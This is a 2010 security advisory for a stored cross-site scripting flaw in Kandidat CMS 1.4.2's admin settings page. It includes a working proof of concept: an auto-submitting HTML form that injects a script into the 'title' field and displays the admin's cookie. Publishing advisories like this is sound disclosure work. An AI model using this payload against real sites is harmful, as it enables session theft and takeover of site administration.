Kandidat CMS 1.4.2 – Persistent Cross-Site Scripting
Vulnerability ID: HTB22648 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms.html Product: Kandidat CMS Vendor: Kan-Studio ( http://www.kan-studio.ru/ ) Vulnerable Version: 1.4.2 and probably prior versions Vendor Notification: 19 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/settings.php?action=validate" method="post" name="main"> <input type="hidden" name="title" value='Site Title"><script>alert(document.cookie)</script>'> <input type="hidden" name="template" value="silver"> <input type="hidden" name="Submit" value="Save changes"> </form> <script> document.main.submit(); </script> |